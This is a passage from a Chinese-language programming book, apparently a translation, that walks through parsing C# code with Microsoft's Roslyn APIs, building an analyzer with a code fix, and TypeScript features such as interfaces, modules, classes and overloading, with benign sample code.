例如,如果我们点击搜索 CSharp 编译器的左侧树,我们可以看到它的编码方式以及与之相关的所有细节,如下面的截图所示:

开始使用 Roslyn

初探微软代码分析服务

在本书的整个过程中,也许在很久以前,你可能已经注意到了源代码编辑器中提供的大量选项,以便于执行常规操作,在编译前通知错误,以及提出更改等(记住,例如,当谈到 IDispose 接口的实现时,IDE 如何为我们建议几种可能的实现方式)。

从 Visual Studio 2015 开始,这些功能只是由 Roslyn 驱动的众多工具中的一部分。其中最受欢迎的是与代码分析器相关的一组服务。

代码分析器

它们并不新颖,因为它们已经在 Visual Studio 中可用多年。然而,作为与 Roslyn 一起工作的部分,这些功能——以及许多其他功能——被重新编写,以便允许使用额外的功能。

它们通常分为三大类:代码分析器、代码可视化器和代码重构器。这三者可以协同工作以执行更复杂的任务,并以多种方式帮助开发者:程序员经常需要处理他们没有编写的代码,或者他们只是想了解别人代码的质量(例如,当谈到 IDispose 接口的实现时,IDE 如何为我们建议几种可能的实现方式)。

  • 第一类(代码分析器)负责处理我们在基本演示中看到的生成树。这些分析器将代码拆分成片段,使用某种分类法来识别每个单元,并将结果集以可以由其他工具稍后管理的形式放置。

  • 代码可视化器负责以可读的方式呈现代码。它们还可以提供有关质量和错误的信息。

  • 代码重构器是代码的小片段,当应用于先前识别的块时,能够提出更改,甚至直接应用这些更改,替换原始代码。

为您提供的一个完整的开源示例:ScriptCS

有一个开源项目可以让你了解一些这些可能性。它被称为 ScriptCS。记住,我们提到过,使用 Roslyn,你可以构建一个类似于 Node.js、Ruby 和 Python 等可用的 REPL(读取-评估-打印循环)的工具。我的意思是,一个可以检查和执行 C# 代码的工具。

要测试它,只需访问 ScriptCS 网站 (scriptcs.net/) 并下载项目。这是一个由几个项目组成的 Visual Studio 解决方案,可以让我们了解这项技术提供的可能性。

编译完成后,如果你运行程序,你会看到一个控制台应用程序,这表明你需要编写一些代码来分析和执行。该工具将使用编译器,并且它的操作方式与浏览器中的控制台工具非常相似。

这个方面将类似于以下截图所示。请注意,我写了三个独立的句子,并且只有在写出了产生输出的那个句子之后,我们才会在控制台看到结果:

一个完整的开源示例供你检查:ScriptCS

当然,Roslyn 服务在幕后为我们创建一个类,并将该代码插入其中,稍后调用编译器,执行代码,并将输出重定向到控制台窗口,在那里我们看到结果。

当我们只想检查一小段代码而不构建整个项目时,它变得很有用。

使用 Microsoft.CodeAnalysis 的基本项目

让我们开始使用这些工具,创建一个简单的控制台应用程序,并直接从 NuGet 包管理器控制台安装 Microsoft.CodeAnalysis 工具。

我们可以输入Install-Package Microsoft.CodeAnalysis,我们将看到安装过程,其中所有必需的依赖项都会被下载,最后一条消息显示类似于Successfully installed 'Microsoft.CodeAnalysis 1.3.2' to [TheNameOfYourProject]的信息。

在主方法中,我们将加载一个 C#文件以分析其内容。为此,我们创建了一个Person.cs文件,其内容如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleRoselyn1
{
  class Person
  {
    public int id { get; set; }
    public string Name { get; set; }
    public int Age { get; set; }
    internal Person Create()
    {
      Person p = new Person();
      p.id = 1;
      p.Name = "Chris Talline";
      p.Age = 33;
      return p;
    }
    internal string PersonData()
    {
      var p = Create();
      return p.id.ToString() + "-" + p.Name + "-" + 
        p.Age.ToString();
    }
  }
}

之后,我们将定义一个新的入口点InitialParser.cs,它将负责分析。我们将把这个类作为应用程序的入口点,并在其主方法中,我们首先使用与之前相同的类(CSharpSyntaxTree)读取要检查的文件,只是这次我们提前加载文件内容,以便将它们传递给类的ParseText静态方法:

// Fist, we localize and load the file to check out
string filename = @"[Path-to-your-Project]\Person.cs";
string content = File.ReadAllText(filename);
// Now we have to analyze the contents
// So, we use the same class as before. Notice 
// it returns a SyntaxTree object.
SyntaxTree tree = CSharpSyntaxTree.ParseText(content);

观察到ParseText返回一个SyntaxTree对象。这对于分析是基本的,因为它允许你遍历整个树,以检查当它应用于我们的Person类时,树对象模型是如何实现的。

如果你想要清楚地了解为什么某些对象被选中以恢复代码的特性,请记住我们之前讨论过的语法树查看器可以实现我们将要执行的大多数操作,并且当我们从代码的一个点移动到另一个点时,它会提供相应元素的名称。

例如,如果你点击class关键字内部的代码,语法树可视化器将正好移动到树中的那个点,指示与对象模型关联的名称,如下一张截图所示:

使用 Microsoft.CodeAnalysis 的基本项目

现在,我们有一个非常好的工具,可以建议我们应该在 API 中识别哪些类及其成员,以便获得组成语法树的元素的引用。

如果我们想要获取代码中定义的第一个类的名称(只有一个,但语法树会显示与之前相同数量的),首先,我们需要访问树的根节点。我们通过在之前获取的树对象中调用GetRoot()来实现这一点。

一旦我们有了根元素,查看使用的方法可以让我们了解我们拥有的可能性。以下是一些这些方法,仅举几个例子:

  • 我们可以向上或向下查找,寻找后代以寻找祖先,因为我们有权访问整个节点列表

  • 我们可以找到一个特定的节点或检查任何节点的内容以寻找特殊的东西

  • 我们可以读取一个节点的文本

  • 我们甚至可以插入或删除它们中的任何一个(参见图表):

使用 Microsoft.CodeAnalysis 的基本项目

由于 API 提供的所有集合都是泛型集合,我们可以使用OfType<element>语法请求具体类型的节点。这就是我们接下来要做的事情,以便获取Person类的ClassDeclarationSyntax对象,所以我们按照以下方式将其打印到控制台:

ClassDeclarationSyntax personClass = root.DescendantNodes().OfType<ClassDeclarationSyntax>().First();
Console.WriteLine("Class names");
Console.WriteLine("-----------");
Console.WriteLine(personClass.Identifier);

我们可以继续并获取类中方法的名称,使用已经声明的对象。因此,在这种情况下,我们将请求DescendantNodes()调用之后可用的所有MethodDeclarationSyntax对象,并遍历它们,打印它们的名称:

Console.WriteLine("\nMethod names");
Console.WriteLine("------------");
personClass.DescendantNodes().OfType<MethodDeclarationSyntax>().ToList().ForEach(method => Console.WriteLine(method.Identifier));

因此,我们可以查看属性,知道语法树将它们分类为PropertyDeclarationSyntax对象:

// And the properties
Console.WriteLine("\nProperties");
Console.WriteLine("----------");
personClass.DescendantNodes()
.OfType<PropertyDeclarationSyntax>().ToList()
.ForEach(property => Console.WriteLine(property.Identifier));

之前的代码生成了以下输出:

使用 Microsoft.CodeAnalysis 的基本项目

这是一种推荐的方法来遍历语法树并恢复有关其成员的信息,尽管在这种情况下,我们只是读取数据并展示结果。

代码重构的第一种方法

基于前面的想法和 API,让我们看看如何编程 Visual Studio 提供的诊断和重构功能。这就是扩展性的主要原因。

只需记住一些关于 Visual Studio 构建和解析行为的事情。许多这些功能默认都是禁用的。分析功能的整个集合可以在任何项目的项目/属性/代码分析选项卡中找到,并提供了两个主要选项:

  1. 构建上启用代码分析,这内部定义了CODE_ANALYSIS常量,并强制在每次编译之前运行当前代码的激活功能集。此外,请注意,您可以配置行为,将任何问题的严重性更改为WarningErrorInfoHiddenNone

  2. 选择 IDE 提供的可用规则集之一。默认情况下,Microsoft Managed Recommended Rules是激活的,但还有许多其他选项可供选择,您甚至可以激活/停用这些集合中的每个规则。以下截图显示了这些选项:代码重构的第一种方法

话虽如此,我们将创建一个在安装我们之前所做的 SDK 之后出现的项目之一。

我们将选择名为 Analyzer with code Fix (VSIX) 的项目类型,并查看其编程方式和主要代码单元。然后,我们将讨论调试,因为它与其他调试场景相比具有特殊的工作方式。

在创建新项目后,你将注意到解决方案中存在三个独立的项目:分析器本身、用于测试目的的另一个项目,以及最终带有 .vsix 扩展名的项目,它作为部署机制。

让我们专注于第一个。为了符合其名称,隐含了两个类:一个用于分析(DiganosticAnalyzer.cs)和一个负责代码修复(CodeFixProvider.cs)。识别这些角色并保持代码如此,即使我们想要扩展默认功能也很重要。

项目目的的简单性并不重要:它搜索包含小写字母的类定义,并将其标记为 CodeFixProvider 的建议目标。

为了执行这个找到代码的第一个任务,从 DiagnosticAnalyzer 继承的 Analyzer2Analyzer 类执行以下操作(我们逐个解释,因为一开始并不明显):

  1. 首先,该类被 [DiagnosticAnalyzer] 属性装饰,表示将要使用的语言将是 CSharp。

  2. 然后,在类级别上,它声明了一些 LocalizableString 类型的字符串。原因是这可以在不同版本的 Visual Studio 和不同区域设置中工作。这就是为什么这些字符串分配的参数是从资源文件(为此创建的)中读取的原因。查看 Resources.resx 文件的內容以检查字符串是如何保存的。

  3. 它创建了一个 DiagnosticDescriptor 实例(要检查的规则),它将负责创建给定诊断的 Description 实例。它需要一些参数来描述要查找的问题,其中之一是严重性,默认情况下只是一个警告。

  4. 它重写了只读的 SupportedDiagnostics 属性,以返回一个基于先前规则的 InmutableArray 数组的新实例。

  5. 它重写了 Initialize 方法,该方法接收一个类型为 SymbolAnalysisContext 的上下文对象,该对象负责注册我们想要在代码上执行的相关操作。

    • 在这个演示中,它调用 RegisterSymbolAction 方法来注册两件事:用于分析的方法和此类分析所属的类别。(实际上,它传递了 AnalyzeSymbol 作为方法的名称)。

    • 此外,请注意,RegisterSymbolAction 方法将根据需要多次调用,以便迭代所有可能满足测试条件的符号实例。

  6. 最后,它声明了 AnalyzeSymbol 方法,该方法接收上下文,查看要检查的符号,如果它符合诊断条件(在这个演示中,如果它的名字中包含任何小写字母),它创建一个 Diagnostic 对象,并指示调用 ReportDiagnostic 的上下文,这将激活为这种情况编程的动作。

如我们所见,尽管代码行不多,但这不是简单的代码。这就是为什么我们需要了解 Roslyn 的内部工作原理,以便跟踪在上下文中检查特定问题的正确动作。完整的代码如下:

using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.Diagnostics;
using System.Collections.Immutable;
using System.Linq;

namespace Analyzer2
{
  [DiagnosticAnalyzer(LanguageNames.CSharp)]
  public class Analyzer2Analyzer : DiagnosticAnalyzer
  {
    public const string DiagnosticId = "Analyzer2";

    // You can change these strings in the Resources.resx file. If you do not want your analyzer to be localize-able, you can use regular strings for Title and MessageFormat.
    // See https://github.com/dotnet/roslyn/blob/master/docs/analyzers/Localizing%20Analyzers.md for more on localization
    private static readonly LocalizableString Title = new LocalizableResourceString(nameof(Resources.AnalyzerTitle), Resources.ResourceManager, typeof(Resources));
    private static readonly LocalizableString MessageFormat = new LocalizableResourceString(nameof(Resources.AnalyzerMessageFormat), Resources.ResourceManager, typeof(Resources));
    private static readonly LocalizableString Description = new LocalizableResourceString(nameof(Resources.AnalyzerDescription), Resources.ResourceManager, typeof(Resources));
    private const string Category = "Naming";

    private static DiagnosticDescriptor Rule = new DiagnosticDescriptor(DiagnosticId, Title, MessageFormat, Category, DiagnosticSeverity.Warning, isEnabledByDefault: true, description: Description);

    public override ImmutableArray<DiagnosticDescriptor> SupportedDiagnostics { get { return ImmutableArray.Create(Rule); } }

    public override void Initialize(AnalysisContext context)
    {
      // TODO: Consider registering other actions that act on syntax instead of or in addition to symbols
      // See https://github.com/dotnet/roslyn/blob/master/docs/analyzers/Analyzer%20Actions%20Semantics.md for more information
      context.RegisterSymbolAction(AnalyzeSymbol, SymbolKind.NamedType);
    }

    private static void AnalyzeSymbol(SymbolAnalysisContext context)
    {
      // TODO: Replace the following code with your own analysis, generating Diagnostic objects for any issues you find
      var namedTypeSymbol = (INamedTypeSymbol)context.Symbol;

      // Find just those named type symbols with names containing lowercase letters.
      if (namedTypeSymbol.Name.ToCharArray().Any(char.IsLower))
      {
        // For all such symbols, produce a diagnostic.
        var diagnostic = Diagnostic.Create(Rule, namedTypeSymbol.Locations[0], namedTypeSymbol.Name);

        context.ReportDiagnostic(diagnostic);
      }
    }
  }
}

虽然对应的(CodeFixer)有一些更多的代码行,但您可以通过查看包含在 CodeFixProvider.cs 文件中的 Analyzer2CodeFixProvider 来阅读其余的代码——并理解它是如何运行的。

这里有两个重要的方法:重写 RegisterCodeFixesAsync 方法,该方法接收 CodeFixContext(用于启动修复动作),以及由演示中的 MakeUppercaseAsync 方法表示的修复动作。

当调用此方法时,它返回一个 Task<Solution> 对象,并接收执行任务所需的所有信息,以及一个 CancellationToken 对象,允许用户忽略在上下文对话框中提供的修复建议。当然,如果用户接受修改,它负责更改代码。

调试和测试演示

要测试这些演示,将启动一个新的 Visual Studio 实例,该实例在加载时将注册并激活分析器。在这种情况下,我启动了项目,并在新的 IDE 实例中打开了之前的项目,以了解它是如何识别小写字母的标识符名称的。

因此,按照这种方式进行,并打开我们之前的 Person.cs 文件(或任何其他类似文件),以查看此诊断的实际效果。您将在 Person 类的声明上看到一条红色的波浪下划线。

当您将光标放在单词 Person 下方时,将显示一个工具提示,提醒您潜在的问题(在这种情况下,根本没有任何问题):

调试和测试演示

到目前为止,我们一直在处理第一个分析过的类(Analyzer2Analyzer 类)。但现在,我们有两个选择:黄色的灯泡,带有上下文菜单和显示潜在修复链接。两者都导向同一个窗口,显示所有可以应用此修复的地方的潜在修复。

此外,请注意这些修复是如何用颜色标记的。在这种情况下,颜色是绿色,表示修复不会引发另一个诊断问题,但如果确实发生了,我们将相应地得到通知:

调试和测试演示

我们还有预览更改的选项,这反过来又提供了一个(可滚动的)窗口,以便详细检查如果我们接受建议会发生什么(如下面的截图所示):

调试和测试演示

要部署项目,你可以遵循两种不同的方法:使用生成的 NuGet 包(在编译后,你可以在 Bin/Debug 文件夹中找到它,就像通常一样)或使用编译器生成的 .vsix 二进制文件,这些文件也位于相同的子目录中,但这次是在 Vsix 项目中。

在第一种情况下,你应该遵循 Readme.txt 文件中的指示(以下是对之前提到的文件的引用):

要尝试 NuGet 包:

  1. 按照以下说明创建本地 NuGet 源:docs.nuget.org/docs/creating-packages/hosting-your-own-nuget-feeds

  2. .nupkg 文件复制到该文件夹中。

  3. 在 Visual Studio 2015 中打开目标项目。

  4. 在解决方案资源管理器中右键单击项目节点,然后选择 管理 NuGet 包

  5. 在左侧选择你创建的 NuGet 源。

  6. 从列表中选择你的分析器,然后点击 安装

如果你想在构建此项目时自动部署 .nupkg 文件到本地源文件夹,请按照以下步骤操作:

  1. 在解决方案资源管理器中右键单击此项目并选择 卸载项目

  2. 右键单击此项目并点击 编辑

  3. 滚动到 AfterBuild 目标。

  4. Exec 任务中,将 –OutputDirectory 路径后面的 Command 中的值更改为指向你的本地 NuGet 源文件夹。

另一个选择是启动 .vsix 文件(系统将识别扩展名)。在请求一致性后,这将像任何其他你可能之前安装的包一样,在 Visual Studio 中安装该包。

到目前为止,我们已经介绍了 Roslyn 及其功能。现在,我们将参观另一个重要的开源项目,由于它在许多网络项目中的重要性,包括 Angular、Ionic 以及许多其他项目,因此受到了更多的关注:TypeScript。

TypeScript

我们回到我们在 第四章 编程方法比较 中开始研究的 TypeScript,它作为语言的介绍,使用的工具,与 Visual Studio 的集成以及对其可能性的基本概述。

在那一章中,我承诺要回顾语言的特点,因为它是从一开始就与开源相关的另一个大型微软项目,并且它正在全球范围内获得动力并增加采用率。TypeScript,正如其创造者所说,是一种可扩展的 JavaScript

小贴士

然而,如果你想深入了解语言及其可能性,请查看 Nathan Rozentals 的优秀作品 "Mastering TypeScript",可在 www.packtpub.com/web-development/mastering-typescript 获取。

让我们提醒自己,该项目始于 2010 年左右,作为对 JavaScript 日益增长的流行度的回应——不仅是在浏览器中,也在服务器上。这意味着编写应用程序,不仅只有数十万行代码,有时甚至数百万行代码。这种语言本身缺乏我们在大规模应用程序开发中习惯的一些功能。

正如我们之前提到的,直到 ECMAScript 2015,我们没有类或模块或任何静态类型系统。这个静态类型系统正是赋予 V. Studio、Eclipse、JetBrains 和其他工具能力,使我们能够在开发周期中习惯那些功能。

TypeScript 调试

多亏了那个静态类型系统,TypeScript 为开发者提供了与使用 C#语言时相似的经验,这包括调试。

至于调试,TypeScript 没有额外的配置或困难。因为它编译成纯 JavaScript,所以所有典型的 JavaScript 资源在这里都可以使用。

这在使用 Visual Studio 的嵌入式调试器时特别有用,因为您可以在 TypeScript 代码中设置断点(而不仅仅是 JavaScript)并调试,就像往常一样,监视运行时值并检查涉及的过程元素。

例如,在我们在第四章中使用的代码中,比较编程方法,我们可以在sorted.map调用中设置断点,并监视数组中每个元素的值,检查这个值,访问全局变量定义,并且总的来说,见证我们在完整的、扩展的调试会话中期望的所有优点。

只需记住,您必须使用 Internet Explorer(Visual Studio 的默认浏览器)。

您也可以使用 Edge 作为默认浏览器,如果使用以下步骤将 Visual Studio 调试器附加到该进程:

  1. 启动执行并转到Visual Studio 调试器菜单。

  2. 进入附加到进程选项,在对话框中,选择附加到选项以标记脚本代码。

  3. 最后,在进程列表中,选择列表中的MicrosoftEdgeCP.exe进程,并标记一个断点。

  4. 当您重新加载页面时,执行将在断点处停止。

此外,您还可以使用 Chrome 来调试 TypeScript 代码!

使用 Chrome 调试 TypeScript

只需使用您选择的浏览器 Chrome 打开之前的代码。然后,按F12,您将能够访问标签页。从那里,选择app.ts文件,并标记任何一行以设置断点。

当您重新加载页面时,您将发现代码如何停止在您标记的 TypeScript 行,并且所有在执行中隐含的变量和对象都完全可用。下一张截图说明了这个出色的功能:

使用 Chrome 调试 TypeScript

小贴士

注意,Firefox 不支持 insertAdjacentElement 方法。你应该使用 appendChild 代替。

接口和强类型

让我们考虑一个更复杂的对象,类似于 C# 对象,包含字段、具有多个签名的(重载)方法等。

例如,我们可以使用以下定义声明一个 Calculator 接口:

interface Calculator {
  increment?: number,
  clear(): void,
  result(): number,
  add(n: number): void,
  add(): void,
  new (s: string): Element;
}

状态的概念通过可选的增量字段(与 C# 中的语法相同)提供,并定义了四个方法。前两个是标准声明,但其他两个值得审查。

add 方法被重载。我们有两个定义:一个接受一个数字,另一个没有参数(两者都返回 void)。当使用实现 Calculator 接口的对象时,我们会发现编辑器识别重载的方式正如我们期望从用 C# 编程的类似对象中看到的那样(参考下一图):

接口和强类型

最后,new 方法是在接口内部定义构造函数的方式。这个构造函数接收一个字符串,但返回 ElementElement 是一个接口,表示文档中的对象(developer.mozilla.org/en-US/docs/Web/API/Element)。这是属于 DOM(文档对象模型)的东西;因此,使用 TypeScript,我们可以管理几乎任何 DOM 组件,就像我们可以在纯 JavaScript 中做的那样。

实现命名空间

大多数发展中的语言都允许命名空间的概念。命名空间允许开发者创建彼此完全分离的代码区域,避免成员名称和功能的冲突。

TypeScript 使用 module 关键字包含这个概念。模块是 JavaScript 的一部分,其成员对模块是私有的。也就是说,除非我们以明确的方式声明它们,否则它们在模块外部不可用。这是通过使用 export 关键字来实现的。

因此,模块使用简单直观的语法声明:

module Utilities {
  // export generates a "closure" in JS 
  export class Tracker2 {
    count = 0;
    start() {
      // Something starts here...
      // Check the generated JS
    }
  }
}

之后,模块导出的成员可以通过点符号访问:

var t = new Utilities.Tracker2();
t.start();

模块声明也允许使用多个缩进来清楚地分隔不同的代码区域:

module Acme.core.Utilities {
  export var x: number = 7;
  export class Tracker2 {
    count = 0;
    start() {
      // Something here 
    }
  }
}
// This requires "nested access"
Acme.core.Utilities.x;

为了简化对嵌套模块的访问,我们还可以使用 import 关键字定义别名,这在区域倾向于增长时特别有用:

// Use of the "Import" technique
import ACU = Acme.core.Utilities;
ACU.x;
var h = new ACU.Tracker2();

声明、作用域和 Intellisense

我们不能假设由“上下文”(浏览器或用户代理)创建的对象在 TypeScript 中默认可访问。例如,navigator 创建的表示 DOM 的文档对象不是严格的语言的一部分。

然而,通过使用 declare 关键字声明这些成员,可以非常容易地使它们变得可访问。此外,对于这种情况,TypeScript 编译器自动提供声明,因为默认情况下,它包含一个 'lib.d.ts' 文件,该文件提供了内置 JavaScript 库以及文档对象模型(DOM)的接口声明。

正如官方文档所说,如果您需要其他库的帮助,您只需声明它们,相应的 .ts 库就会被使用。想象一下,如果我们想更改文档的标题;根据之前的代码,我们应该编写以下内容:

declare var document: Document;
document.title = "Hello";  // Ok because document has been declared

如果我们需要对 jQuery 提供支持,提及一个流行的库,我们只需以这种方式声明即可:

declare var $;

从这个点开始,任何对 $ 符号的引用都将提供编辑器中预期的 Intellisense,前提是已经引用了该库的描述文件。

作用域和封装

与成员的作用域和可见性相关的重要概念还包括命名空间和模块声明。命名空间允许程序员将私有成员声明给一个命名的模块,使其对未包含在内的代码不可见;因此,它们类似于我们已看到的命名空间概念,并且在 .NET 编程中很典型。

如果我们想公开命名空间中的任何成员,exports 关键字允许这样的定义,这样我们就可以有一个部分公开的命名空间,其中包含私有成员。例如,看看以下代码:

namespace myNS {
  var insideStr = "Inside a Module";
  export function greeter() {
    return insideStr;
  }
}
myNS.greeter();
myNS.insideStr;

如果我们在 Visual Studio 中检查此代码,当我们翻过最后一句话时,编译器会给出建议,指出属性 insideStr 不存在于 MyNS 模块中(这实际上意味着从命名空间的角度来看,此成员未声明为可访问,或者它可能不存在)。

另一方面,关于公开的问候方法没有给出建议,因为它的声明中使用了 exports 子句(对于其他面向对象的编程语言,我们会说问候成员是公开的)。

作用域和封装

类和类继承

正如我们所见,类是 TypeScript 的关键部分,它们的声明语法几乎与我们所有人都知道的 C# 声明相同。

也就是说,我们可以声明私有成员、自定义构造函数、方法、访问属性,甚至静态成员,以便可以使用类的名称而不是变量实例来访问它们。看看安德斯·海尔斯伯格(Anders Hejlsberg)在 Channel 9 上发布的一个在线演示中编写的代码,channel9.msdn.com/posts/Anders-Hejlsberg-Introducing-TypeScript,如果您想了解作者提供的所有详细信息和注释:

class PointWithColor {
  x: number;
  y: number;
  // Private members 
  private color: string;
  constructor(x: number, y: number) {
    this.x = x;
    this.y = y;
    this.color = "Blue"; // Intellisense -in- the class
  }
  distance() {
    return Math.sqrt(this.x * this.x + this.y * this.y);
  }
  // We can also (ES5) turn distance into a property
  get distanceP() {
    return Math.sqrt(this.x * this.x + this.y * this.y);
  }
  // And declare static members
  static origin = new PointWithColor(0, 0)
}

如您所见,这里使用private关键字声明了一个颜色,一个自定义的构造函数,一个只读属性(get distanceP),以及一个静态声明(origin)来建立绘图的初始点。

在类的构造函数中,可以选择使用类似于 C#的{ get; set; }构造,这允许您简化声明并为构造函数的参数赋一个初始值。

使用这种语法,我们可以写出之前类的简化版本,如下所示:

class PointWithColor2 {
  // Private members 
  private color: string;
  // The following declaration produces the same effect 
  // as the previous as for accessibility of its members 
  // Even, assigning default values
  constructor(public x: number = 0, public y: number = 0) {
    this.color = "Red"; 
  }
  distance() { return Math.sqrt(this.x * this.x + this.y * this.y); }
  get distanceP() { return Math.sqrt(this.x * this.x + this.y * this.y); }
  static origen = new PointWithColor(0, 0)
}

当然,为了正确实现面向对象编程,我们还需要继承。继承是通过在类声明中使用extends关键字来实现的。因此,我们可以定义之前类的新的继承版本,如下所示:

class PointWithColor3D extends PointWithColor {
  // It uses the base class constructor, otherwise
  // creates a customized one.
  constructor(x: number, y: number, public z: number) {
    super(x, y);
  }
  // Method overloading 
  distance() {
    var d = super.distance();
    return Math.sqrt(d * d + this.z * this.z);
  }
}

之前的代码在这里使用了一个特定的关键字super来引用父类。关于这个语言还有很多其他内容,我们建议您查看 GitHub 上找到的详细文档(github.com/Microsoft/TypeScript/blob/master/doc/spec.md)以获取更多细节和代码片段。

函数

在初始演示中讨论的 Greeter 类中,start()stop()方法没有返回值。您可以用与参数相同的方式为函数表达返回值:在末尾添加一个冒号(:),这样我们就可以表达任何函数的整个签名。因此,对于典型的add函数,我们可以写出以下内容:

add(x: number, y: number): number {
    return x + y;
}

在这个语言中最常见的做法之一是使用接口来声明用户定义的对象类型。一旦声明,接口将检查任何声明其实例的成员:

interface Person {
    name: string, 
    age?: number  // the age is optional
}

function add(person: Person) {
    var name = person.name; // Ok
}

add({ name: "Peter" });  // Ok
add({ age: 37 });  // Error, name required
add({ name: "Irene", age: 17 });  // Ok

如您所见,age的声明与我们在 C#中用于可选值的语法相同,只是不需要默认值。

类似地,我们可以在同一句话中声明一个类型并为其赋值:

// Declare and initialize
var person: {
    name: string;
    age: number;
    emails: string[];
} = {
        name: 'John',
        age: 5,
        emails: ['john@site.com', 'john@anothersite.net']
    }

如果我们使用 lambda 表达式作为参数语法之一来声明一个函数,编译器会推断出参数的类型是函数:

function funcWithLambda(x: () => string) {
    x(); // Intellisense
}

这是在 IDE 中的显示方式:

函数

接口也可能允许您声明方法重载。看看这个声明并注意doSomething方法的重复定义:

interface Thing {
    a: number;
    b: string;
    doSomething(s: string, n?: number): string; //methods
    // Method overloading
    doSomething(n: number): number;
}

function process(x: Thing) {
    x.doSomething("hola"); // Intellisense
    x.doSomething(3); // Ok
}

之前声明的变体允许我们声明重载并包含doSomething成员的数据字段:

// Methods with properties
// Equivalent to the previous + data
interface Thing3 {
    a: number;
    b: string;
    // Here we add a field data to doSomething
    doSomething: {
        (s: string): string;
        (n: number): number;
        data: any;
    };
}

之后,我们可以使用以下语法来引用Thing3

function callThing3(x: Thing3) {
    x.doSomething("hello"); // Intellisense (overloading)
    x.doSomething(3);
    x.doSomething.data; // method with properties
}

在这里,您可以看到编译器如何认为对doSomething重载形式的三个不同引用是有效的。我们甚至有声明构造函数和索引器(类似于 C#)的可能性:

interface Thing4 {
    // Constructor
    new (s: string): Element;
    // Indexer
    [index: number]: Date;
}

function callThing4(x: Thing4) {
    // return new x("abc").getAttribute() -> returns Element
    return x[0].getDay(); // Date info
}

另一种可能性是基于 TypeScript 定义接口的能力来强制返回类型:

interface Counter {
    delete(): void;
    add(x: number): void;
    result(): number;
}

function createCounter(): Counter {
    var total = 0;
    return {
        delete: function () { total = 0 },
        add: function (value: number) {
            total += value;
        },
        result: function () { return total; }
    };
}

var a = createCounter();
a.add(5); //Ok

// It's also useful for event handlers
window.onmousemove = function (e) {
    var pos = e.clientX; // Intellisense in the event
    // You can use the "Go to Definition" option ->
    // which takes you to "lib.d.ts" library
}

我希望您检查任何成员的定义,记住右键单击并选择“转到定义”将打开相应的lib.d.ts文件并显示任何成员的原始定义;例如,event对象中的clientX成员将显示以下信息:

函数

同样,我们可以从其他库导入声明并使用这种技术来检查这些实现:这包括 jQuery、Bootstrap 等等。Definitely Typed 网站(github.com/DefinitelyTyped/DefinitelyTyped)拥有数百个这样的定义。

此外,还有另一种声明重载函数的方法:您可以声明几个签名方法,并在实际函数定义和实现后结束块。这样做是为了避免 TypeScript 在编译时显示错误,尽管 JavaScript 的最终实现将只包含一个函数,因为 JavaScript 没有类型。

以这种方式,前面的定义被视为最后一个定义的重载版本,如下所示:

class OverloadedClass {
    overloadedMethod(aString: string): void;
    overloadedMethod(aNumber: number, aString: string): void;
    overloadedMethod(aStringOrANumber: any, aString?: string): void {
        // Version checking is performed on the first argument
        if (aStringOrANumber && typeof aStringOrANumber == "number")
            alert("Second version: aNumber = " + aStringOrANumber +
                ", aString = " + aString);
        else
            alert("First version: aString = " + aStringOrANumber);
    }
}

数组和接口

我们还可以使用接口的概念来声明与数组元素相关的条件、类型和行为。

看看这个代码,我们强制为数组中的山设置类型和行为:

interface Mountain {
    name: string;
    height: number;
}
// Mountain interface declared
var mountains: Mountain[] = [];
// Every added element is checked
mountains.push({
    name: 'Pico de Orizaba',
    height: 5636,
});
mountains.push({
    name: 'Denali',
    height: 6190
});
mountains.push({
    name: 'Mount Logan',
    height: 5956
});

function compareHeights(a: Mountain, b: Mountain) {
    if (a.height > b.height) {
        return -1;
    }
    if (a.height < b.height) {
        return 1;
    }
    return 0;
}
// Array.sort method expects a comparer which takes 2 arguments
var mountainsByHeight = mountains.sort(compareHeights);
// Read the first element of the array (Highest)
var highestMoutain = mountainsByHeight[0];
console.log(highestMoutain.name); // Denali

Mountain接口确保mountains数组中的每个元素实际上都实现了Mountain定义,以便以后可以进行比较,如果您在 HTML 脚本部分中包含此代码,您可以检查这一点。在控制台输出中,"Denali"山被正确排序为最高的,这是通过数组的sort方法实现的。

更多 TypeScript 应用

因此,让我们看看更多 TypeScript 的实际应用,从一些其他简单的代码开始。在 Visual Studio 中创建一个空解决方案并添加一个 JavaScript 文件(.js扩展名)后,这里,我使用官方网站上提供的几个演示中的代码模式来展示这些工具可以提供的一些变化。因此,我输入以下内容(一个用于排序数组并返回结果的简短函数):

// JavaScript source code
function sortByName(arg) {
  var result = arg.slice(0);
  result.sort(function (x, y) {
    return x.name.localCompare(y.name);
  });
  return result;
};

当我们将鼠标移到arg参数上时,编辑器无法告诉任何关于参数类型的信息(只有这段代码,我们无法知道其他任何信息)。如果我们函数几行后写sortByName,编辑器会识别名称,但它无法添加更多关于它的信息:

更多 TypeScript 应用

现在,让我们添加一个具有相同名称的新文件,并将上一个文件的全部内容复制进去,只需将扩展名更改为.ts(TypeScript)。即使内容完全相同,编辑器的行为也会改变。

首先,当您将光标移到参数上时,它会说它是any类型。当您将光标移到函数外部的sortByName`声明上时,也会发生这种情况。

然而,它还可以变得更好。由于函数期望你操作一个具有nameage属性的数组类型,我们可以声明一个包含这两个属性的对象作为接口,例如一个Person接口(或任何符合此要求的其他接口)。现在,我们可以明确地定义arg是一个Person类型的数组,在冒号后的参数声明中指明,所以我们有如下所示:

interface Person {
  name: string, 
  age: number
}
function sortByName(arg: Person[]) {}

而在这里,魔法开始发生。当我将光标移到参数上时,它现在指示它应该接收的类型,而且,如果我将光标悬停在arg.slice(0)代码片段上,它会给我一个详细的解释,说明它期望接收的内容,当我将光标向下移动时,我看到在localCompare方法调用下有一个红色的波浪线,表示在字符串类型上不存在这样的方法(因为它认识到名称是之前定义的类型)。

你可以在以下(复合)截图中看到这两个提示:

更多 TypeScript 示例

因此,只需对代码进行一些更改,就可以提供大量额外信息,以指导 TypeScript 关于我们正在处理的数据类型。如果我们尝试在搜索帮助时重写name.local…调用,我们会看到这一点。

如果我们这样做,并重新输入句子,当我们按下return.name旁边的点符号时,我们会得到一个列表,其中包含name属性接受的可能的值,包括拼写错误的句子正确的写法,如下一张截图所示。我们还看到了关于localeCompare应该接收的参数的额外信息以及它定义的重载数量:

更多 TypeScript 示例

实际上,由于 TypeScript 支持高级功能,你现在可以使用它们,并且具有完全的向后兼容性:例如,我们可以将传递给排序方法的函数参数更改为 lambda 表达式,就像我们使用 ECMAScript 2015 一样。

